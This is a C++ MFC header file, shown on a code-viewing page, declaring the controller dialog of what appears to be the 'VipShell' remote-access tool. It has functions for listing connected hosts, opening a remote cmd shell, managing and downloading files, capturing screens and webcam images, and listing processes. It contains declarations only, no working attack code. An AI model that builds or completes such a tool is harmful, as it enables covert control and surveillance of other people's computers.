📄 vipshellclientdlg.h
字号:
// VipShellClientDlg.h : header file
//
#if !defined(AFX_VIPSHELLCLIENTDLG_H__539DC7D2_C436_4112_8F9A_A36150171B52__INCLUDED_)
#define AFX_VIPSHELLCLIENTDLG_H__539DC7D2_C436_4112_8F9A_A36150171B52__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <vector>
#include "../help/PinboardInterfaceManage.h"
/////////////////////////////////////////////////////////////////////////////
// CVipShellClientDlg dialog
class CVipShellClientDlg : public CDialog , public CVipShellServerHandleCallBack, public CVipShellClientHandleEvent
{
CPinboardPtr<I_VipShellHandleServer> m_spVipShellHandleServer;
CPinboardInterfaceManage<I_VipShellClientHandle> m_hVipShellClientHandleManage;
CPinboardInterfaceManage<I_VipShellClientShellHandle> m_hVipShellClientShellHandleManage; //cmdshell管理
CPinboardInterfaceManage<I_VipShellClientFileManageHandle> m_hVipShellClientFileManageHandle; //文件管理
CPinboardInterfaceManage<I_VipShellClientScreenHandle> m_hVipShellClientScreenHandleManageHandle; //桌面信息
CLocker m_Locker;
typedef std::vector< UINT32 > SELITEMINDEXS;
typedef std::vector< UINT32 > SERVERHANDLEINDEXS;
// Construction
public:
CVipShellClientDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CVipShellClientDlg)
enum { IDD = IDD_VIPSHELLCLIENT_DIALOG };
CListCtrl m_listServer;
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CVipShellClientDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
protected:
virtual void OnResponse_GetServerInfo(I_VipShellClientHandle* p,LPCWSTR szExplain, LPCWSTR szName, DWORD dwPlatformId, DWORD dwMajorVersion, DWORD dwMinorVersion,DWORD dwCpuSpeed, DWORD dwMemory, bool fIsCanCap);
protected:
I_VipShellClientHandle* _ItemToVipShellHandle(UINT32 nItem);
void _GetSelItems(SELITEMINDEXS* pVec);
public:
I_VipShellClientHandle* GetVipShellClientHandleById(UINT32 nId);
protected:
virtual void OnVipShellHandle(I_VipShellClientHandle* p);
virtual void OnVipShellClientShellHandle(I_VipShellClientShellHandle* p);
virtual void OnVipShellClientFileManageHandle(I_VipShellClientFileManageHandle* p);
virtual void OnVipShellClientScreenHandle(I_VipShellClientScreenHandle* p);
afx_msg LRESULT OnVipShellClientHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnVipShellShellHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnVipShellClientFileManageHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnVipShellClientScreenHandleMessage(WPARAM wParam, LPARAM lParam);
protected:
CString _GetServerEditionString(DWORD dwMajorVersion,DWORD dwMinorVersion, DWORD dwPlatformId);
CString _GetMakeCareerString(DWORD dwTime);
CString _GetMemoryString(DWORD dwMenorySize);
CString _GetCpuString(DWORD dwCpu);
CString IpToString(ULONG ip);
// Implementation
protected:
HICON m_hIcon;
// Generated message map functions
//{{AFX_MSG(CVipShellClientDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnMenuitemDownfile();
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnButtonGetfilemanag();
afx_msg void OnButtonGetscreen();
afx_msg void OnButtonGetcap();
afx_msg void OnButtonProcesslist();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnNMRclickListServer(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnBnClickedButtonGetshell();
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_VIPSHELLCLIENTDLG_H__539DC7D2_C436_4112_8F9A_A36150171B52__INCLUDED_)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -